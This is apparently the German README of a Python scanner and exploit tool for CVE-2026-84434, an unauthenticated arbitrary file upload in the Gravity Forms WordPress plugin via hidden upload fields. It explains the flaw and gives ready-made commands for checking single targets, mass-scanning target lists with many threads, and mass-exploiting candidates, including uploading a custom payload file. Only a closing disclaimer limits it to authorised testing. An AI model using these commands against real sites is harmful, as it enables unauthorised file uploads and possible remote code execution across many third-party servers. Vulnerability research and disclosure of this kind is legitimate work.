
Python-PoC-Scanner und Exploit für CVE-2026-84434, einen unauthentifizierten beliebigen Datei-Upload in Gravity Forms <=3.1.0.4 über versteckte File-Upload-Felder. Unterstützt die Modi Prüfen, Ausnutzen und Massenscan.
Python-3-PoC-Scanner und Exploit für CVE-2026-84434 in Gravity Forms.
| Plugin | gravityforms |
| Betroffen | ≤ 3.1.0.4 |
| Behoben in | 3.1.0.5+ (Hersteller-Sicherheitsrelease 3.1.1) |
| CVSS | 9.8 (Kritisch) |
| Auth | Unauthentifiziert |
| CWE | CWE-434 — Unrestricted Upload |
| Credit | 0xd4rk5id3 — EnvoraSec (Wordfence) |
Versteckte File Upload-Felder umgehen die Erweiterungsvalidierung in der Validierungspipeline, während der Persistenzpfad möglicherweise weiterhin upload_file() ohne gleichwertige Prüfungen aufruft. Ein unauthentifizierter Angreifer kann per POST an ein öffentliches Formular senden, das ein File-Upload-Feld mit Visibility → Hidden enthält.
Dateien werden unter wp-content/uploads/gravity_forms/ gespeichert. Gravity Forms fügt üblicherweise .htaccess-Regeln hinzu, um die PHP-Ausführung zu blockieren; RCE hängt von der Serverkonfiguration ab (nginx, alternatives Docroot usw.).
gform_wrapper und einem versteckten fileupload-Feld (input_{form}_{field}) durchsuchengform_submit, is_submit_{id}, Datei auf verstecktem Input)pip install -r requirements.txtpip install -r requirements.txt
# Check single target
python poc.py -u https://target.example --mode check
# Mass check
python poc.py --list targets.example.txt --mode check --threads 30 --quiet
# Exploit (built-in benign .txt probe unless --payload-file is set)
python poc.py -u https://target.example --mode exploit \
--form-id 3 --page-url /contact/ --file-field 7
# Custom upload file (your own probe — not included in this repo)
python poc.py -u https://target.example --mode exploit \
--form-id 3 --page-url /contact/ --file-field 7 \
--payload-file probe.txt
# Mass exploit from check output
python poc.py --list candidates.jsonl --mode exploit --threads 10 --quiet
| Option | Beschreibung |
|---|---|
-u, --url | Einzelne Ziel-Basis-URL |
--list | URL-Liste, FOFA-artige CSV oder candidates.jsonl |
--mode | check (Standard) oder exploit |
--form-id | Gravity-Form-ID |
--page-url | Pfad oder URL der Seite, die das Formular hostet |
--file-field | ID des versteckten File-Upload-Felds |
--payload-file | Lokale Datei zum Hochladen (Standard: im Speicher befindlicher harmloser .txt-Marker) |
--paths | Zusätzliche Pfade zum Durchsuchen nach Formularen |
--threads, -j | Massenparallelität (Standard 20) |
--output | JSONL-Ergebnisse (Standard cve_2026_84434_results.jsonl) |
--vuln-list | Hit-URLs oder Exploit-Erfolge (Standard hits.txt) |
--candidates-list | Check-Metadaten (Standard candidates.jsonl) |
--quiet | Weniger Fortschrittsausgabe bei Massenläufen |
| Datei | Inhalt |
|---|---|
cve_2026_84434_results.jsonl | Vollständiges JSON pro Ziel |
hits.txt | Kandidaten-Basis-URLs |
candidates.jsonl | form_id, page_url, file_field / input_name |
status-Werte (Check)| Status | Bedeutung |
|---|---|
candidate | Anfällige Version + versteckter File-Upload in einem öffentlichen Formular |
forms_no_hidden_upload | Formulare gefunden, keines mit verstecktem File-Upload im HTML |
plugin_no_public_forms | Plugin vorhanden, kein öffentliches Formular entdeckt |
patched | Version > 3.1.0.4 |
no_plugin | Gravity Forms nicht erkannt |
.
├── poc.py
├── requirements.txt
├── targets.example.txt
├── README.md
├── LICENSE
└── .gitignore
Lokale Scan-Listen und Artefakte (list.txt, *.jsonl, benutzerdefinierte Payloads) sind in .gitignore und sollten nicht committet werden.
Nur für autorisiertes Sicherheitstesting. Sie sind für die Einhaltung der geltenden Gesetze und Programmregeln verantwortlich.